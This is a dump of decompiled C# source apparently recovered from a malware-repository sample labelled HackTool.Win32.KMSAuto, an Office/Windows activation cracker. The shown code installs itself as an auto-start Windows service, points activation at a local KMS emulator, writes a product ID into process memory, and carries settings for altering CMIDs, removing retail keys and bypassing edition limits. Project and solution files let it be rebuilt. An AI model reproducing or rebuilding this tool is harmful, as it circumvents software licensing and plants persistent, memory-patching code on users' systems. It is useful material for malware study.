public AutoKMSService() => this.InitializeComponent();
|
||||
|
||||
protected override void OnStart(string[] args) => this.workerStart.RunWorkerAsync();
|
||||
|
||||
protected override void OnStop()
|
||||
{
|
||||
if (AutoKMSService.OfficeKMSSet)
|
||||
Activation.RemoveKMSHost();
|
||||
if (AutoKMSService.WindowsKMSSet)
|
||||
Activation.RemoveKMSHostWindows();
|
||||
Activation.StopKMSEmulator();
|
||||
}
|
||||
|
||||
private void workerStart_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHost();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
AutoKMSService.OfficeKMSSet = false;
|
||||
}
|
||||
try
|
||||
{
|
||||
Activation.SetKMSHostWindows();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
AutoKMSService.WindowsKMSSet = false;
|
||||
}
|
||||
Activation.StartKMSEmulator();
|
||||
if (!Common.isValidPID(Settings.AutoKMSSettings.KMSPID))
|
||||
return;
|
||||
KMSEditor.WritePIDToMemory(Settings.AutoKMSSettings.KMSPID);
|
||||
}
|
||||
|
||||
private void workerStart_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.Program
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using Office_2010_Toolkit;
|
||||
using Office_2010_Toolkit.Configuration;
|
||||
using Office_2010_Toolkit.Logic;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.ServiceProcess;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AutoKMS
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
Common.OfficeCriticalVariablesCheck();
|
||||
Directory.SetCurrentDirectory(Path.GetDirectoryName(Application.ExecutablePath));
|
||||
Settings.GetSettingsAutoKMS();
|
||||
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||||
if (commandLineArgs.Length > 1)
|
||||
{
|
||||
if (!commandLineArgs[1].Equals("/Application", StringComparison.CurrentCultureIgnoreCase))
|
||||
return;
|
||||
new AutoKMS.AutoKMS().RunAutoKMS();
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!Common.IsAutoKMSServiceInstalled())
|
||||
Activation.MakeAutoKMSService(Environment.CurrentDirectory);
|
||||
ServiceBase.Run(new ServiceBase[1]
|
||||
{
|
||||
(ServiceBase) new AutoKMSService()
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.Properties.Resources
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace AutoKMS.Properties
|
||||
{
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) AutoKMS.Properties.Resources.resourceMan, (object) null))
|
||||
AutoKMS.Properties.Resources.resourceMan = new ResourceManager("AutoKMS.Properties.Resources", typeof (AutoKMS.Properties.Resources).Assembly);
|
||||
return AutoKMS.Properties.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => AutoKMS.Properties.Resources.resourceCulture;
|
||||
set => AutoKMS.Properties.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] Keygen => (byte[]) AutoKMS.Properties.Resources.ResourceManager.GetObject(nameof (Keygen), AutoKMS.Properties.Resources.resourceCulture);
|
||||
}
|
||||
}
|
||||
+2651
File diff suppressed because it is too large
Load Diff
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AutoKMS.Properties.Settings
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Configuration;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace AutoKMS.Properties
|
||||
{
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Settings : ApplicationSettingsBase
|
||||
{
|
||||
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
|
||||
|
||||
public static Settings Default => Settings.defaultInstance;
|
||||
}
|
||||
}
|
||||
+106
@@ -0,0 +1,106 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>AutoKMS</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.ServiceProcess" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="TaskSchedulerInterop\HResult.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\TaskTriggerType.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\Daily.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\Weekly.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\MonthlyDate.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\MonthlyDOW.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\TriggerTypeData.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\TaskTrigger.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\SystemTime.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\PropSheetHeader.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\PropSheetFlags.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\PropertySheetDisplay.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\ITaskScheduler.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\IEnumWorkItems.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\ITask.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\ITaskTrigger.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\IProvideTaskPage.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\CTaskScheduler.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\CTask.cs" />
|
||||
<Compile Include="TaskSchedulerInterop\CoTaskMem.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Result.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Common.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\SettingsIDObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\GlobalSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\AutoKMSSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\AutoRearmSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\EZActivatorSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\PathsSettingsObject.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\Settings.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Configuration\IniFile.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Logic\KMSEditor.cs" />
|
||||
<Compile Include="Office_2010_Toolkit\Logic\Activation.cs" />
|
||||
<Compile Include="TaskScheduler\TriggerList.cs" />
|
||||
<Compile Include="TaskScheduler\TriggerType.cs" />
|
||||
<Compile Include="TaskScheduler\DaysOfTheWeek.cs" />
|
||||
<Compile Include="TaskScheduler\WhichWeek.cs" />
|
||||
<Compile Include="TaskScheduler\MonthsOfTheYear.cs" />
|
||||
<Compile Include="TaskScheduler\Trigger.cs" />
|
||||
<Compile Include="TaskScheduler\StartableTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\RunOnceTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\DailyTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\WeeklyTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\MonthlyDOWTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\MonthlyTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\OnIdleTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\OnSystemStartTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\OnLogonTrigger.cs" />
|
||||
<Compile Include="TaskScheduler\TaskFlags.cs" />
|
||||
<Compile Include="TaskScheduler\TaskStatus.cs" />
|
||||
<Compile Include="TaskScheduler\Task.cs" />
|
||||
<Compile Include="TaskScheduler\Scheduler.cs" />
|
||||
<Compile Include="TaskScheduler\TaskList.cs" />
|
||||
<Compile Include="TaskScheduler\ScheduledTasks.cs" />
|
||||
<Compile Include="AutoKMS\AutoKMSService.cs" />
|
||||
<Compile Include="AutoKMS\AutoKMS.cs" />
|
||||
<Compile Include="AutoKMS\Program.cs" />
|
||||
<Compile Include="AutoKMS\Properties\Settings.cs" />
|
||||
<Compile Include="AutoKMS\Properties\Resources.cs" />
|
||||
<Compile Include="HybridService\ServiceInstaller.cs" />
|
||||
<Compile Include="ProcessMemoryReaderLib\ProcessMemoryReaderApi.cs" />
|
||||
<Compile Include="ProcessMemoryReaderLib\ProcessMemoryReader.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="AutoKMS\AutoKMSService.resx" />
|
||||
<EmbeddedResource Include="AutoKMS\Properties\Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutoKMS", "HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.csproj", "{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{91CB1C5F-5AF8-4A91-A13B-6157536EDB08}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HybridService.ServiceInstaller
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace HybridService
|
||||
{
|
||||
public class ServiceInstaller
|
||||
{
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern IntPtr OpenSCManager(
|
||||
string lpMachineName,
|
||||
string lpSCDB,
|
||||
int scParameter);
|
||||
|
||||
[DllImport("Advapi32.dll")]
|
||||
private static extern IntPtr CreateService(
|
||||
IntPtr SC_HANDLE,
|
||||
string lpSvcName,
|
||||
string lpDisplayName,
|
||||
int dwDesiredAccess,
|
||||
int dwServiceType,
|
||||
int dwStartType,
|
||||
int dwErrorControl,
|
||||
string lpPathName,
|
||||
string lpLoadOrderGroup,
|
||||
int lpdwTagId,
|
||||
string lpDependencies,
|
||||
string lpServiceStartName,
|
||||
string lpPassword);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern void CloseServiceHandle(IntPtr SCHANDLE);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern int StartService(
|
||||
IntPtr SVHANDLE,
|
||||
int dwNumServiceArgs,
|
||||
string lpServiceArgVectors);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenService(
|
||||
IntPtr SCHANDLE,
|
||||
string lpSvcName,
|
||||
int dwNumServiceArgs);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
private static extern int DeleteService(IntPtr SVHANDLE);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern int GetLastError();
|
||||
|
||||
[DllImport("Kernel32")]
|
||||
private static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
public static bool InstallService(
|
||||
string svcPath,
|
||||
string svcName,
|
||||
string svcDispName,
|
||||
bool autoStart,
|
||||
bool startNow)
|
||||
{
|
||||
int scParameter = 2;
|
||||
int dwServiceType = 16;
|
||||
int num1 = 3;
|
||||
int dwErrorControl = 1;
|
||||
int dwDesiredAccess = 983040 | 1 | 2 | 4 | 8 | 16 | 32 | 64 | 128 | 256;
|
||||
int num2 = 2;
|
||||
try
|
||||
{
|
||||
int dwStartType = num2;
|
||||
if (!autoStart)
|
||||
dwStartType = num1;
|
||||
IntPtr num3 = ServiceInstaller.OpenSCManager((string) null, (string) null, scParameter);
|
||||
if (num3.ToInt32() == 0)
|
||||
return false;
|
||||
IntPtr service = ServiceInstaller.CreateService(num3, svcName, svcDispName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, svcPath, (string) null, 0, (string) null, (string) null, (string) null);
|
||||
if (service.ToInt32() == 0)
|
||||
{
|
||||
ServiceInstaller.CloseServiceHandle(num3);
|
||||
return false;
|
||||
}
|
||||
if (startNow)
|
||||
{
|
||||
if (ServiceInstaller.StartService(service, 0, (string) null) == 0)
|
||||
return false;
|
||||
ServiceInstaller.CloseServiceHandle(num3);
|
||||
ServiceInstaller.CloseServiceHandle(service);
|
||||
return true;
|
||||
}
|
||||
ServiceInstaller.CloseServiceHandle(num3);
|
||||
ServiceInstaller.CloseServiceHandle(service);
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw ex;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool UnInstallService(string svcName)
|
||||
{
|
||||
IntPtr SCHANDLE = ServiceInstaller.OpenSCManager((string) null, (string) null, 1073741824);
|
||||
if (SCHANDLE.ToInt32() == 0)
|
||||
return false;
|
||||
int dwNumServiceArgs = 65536;
|
||||
IntPtr num = ServiceInstaller.OpenService(SCHANDLE, svcName, dwNumServiceArgs);
|
||||
if (num.ToInt32() == 0)
|
||||
return false;
|
||||
if (ServiceInstaller.DeleteService(num) != 0)
|
||||
{
|
||||
ServiceInstaller.CloseServiceHandle(SCHANDLE);
|
||||
ServiceInstaller.CloseServiceHandle(num);
|
||||
return true;
|
||||
}
|
||||
ServiceInstaller.CloseServiceHandle(SCHANDLE);
|
||||
ServiceInstaller.CloseServiceHandle(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
+3335
File diff suppressed because it is too large
Load Diff
+32
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.AutoKMSSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class AutoKMSSettingsObject
|
||||
{
|
||||
public int ActAttempts;
|
||||
public bool ActivateWindows;
|
||||
public bool AutoRemoveKMSEmulator;
|
||||
public bool AutoRemoveKMSHost;
|
||||
public string KMSServer;
|
||||
public bool Logging;
|
||||
public bool UseKMSEmulator;
|
||||
public string KMSPID;
|
||||
|
||||
public AutoKMSSettingsObject()
|
||||
{
|
||||
this.ActAttempts = 10;
|
||||
this.ActivateWindows = false;
|
||||
this.AutoRemoveKMSEmulator = false;
|
||||
this.AutoRemoveKMSHost = false;
|
||||
this.KMSServer = "127.0.0.1";
|
||||
this.Logging = true;
|
||||
this.UseKMSEmulator = true;
|
||||
this.KMSPID = string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.AutoRearmSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class AutoRearmSettingsObject
|
||||
{
|
||||
public bool Retail2VL;
|
||||
public bool Logging;
|
||||
|
||||
public AutoRearmSettingsObject()
|
||||
{
|
||||
this.Retail2VL = true;
|
||||
this.Logging = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.EZActivatorSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class EZActivatorSettingsObject
|
||||
{
|
||||
public int ActAttempts;
|
||||
public int PIDAttempts;
|
||||
public int CMIDAttempts;
|
||||
public bool AutoLicRepairAll;
|
||||
public bool AutoMakeRestoreBackup;
|
||||
public bool ChangePID;
|
||||
public bool ChangeCMID;
|
||||
public bool InstallAutoKMS;
|
||||
public bool MAK2KMS;
|
||||
public bool RemoveRetailKeys;
|
||||
public bool Retail2VL;
|
||||
public bool StarterSub2Bypass;
|
||||
|
||||
public EZActivatorSettingsObject()
|
||||
{
|
||||
this.ActAttempts = 10;
|
||||
this.PIDAttempts = 10;
|
||||
this.CMIDAttempts = 10;
|
||||
this.ChangePID = true;
|
||||
this.ChangeCMID = true;
|
||||
this.AutoLicRepairAll = true;
|
||||
this.AutoMakeRestoreBackup = true;
|
||||
this.InstallAutoKMS = true;
|
||||
this.MAK2KMS = true;
|
||||
this.RemoveRetailKeys = true;
|
||||
this.Retail2VL = true;
|
||||
this.StarterSub2Bypass = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.GlobalSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class GlobalSettingsObject
|
||||
{
|
||||
public bool AutoRemoveKMSEmulator;
|
||||
public bool AutoRemoveKMSHost;
|
||||
public string KMSServer;
|
||||
public bool UseKMSEmulator;
|
||||
public bool VerboseCheckActivation;
|
||||
public bool ShowCMID;
|
||||
public string KMSPID;
|
||||
|
||||
public GlobalSettingsObject()
|
||||
{
|
||||
this.AutoRemoveKMSEmulator = false;
|
||||
this.AutoRemoveKMSHost = false;
|
||||
this.KMSServer = "127.0.0.1";
|
||||
this.UseKMSEmulator = true;
|
||||
this.VerboseCheckActivation = false;
|
||||
this.ShowCMID = false;
|
||||
this.KMSPID = string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
+43
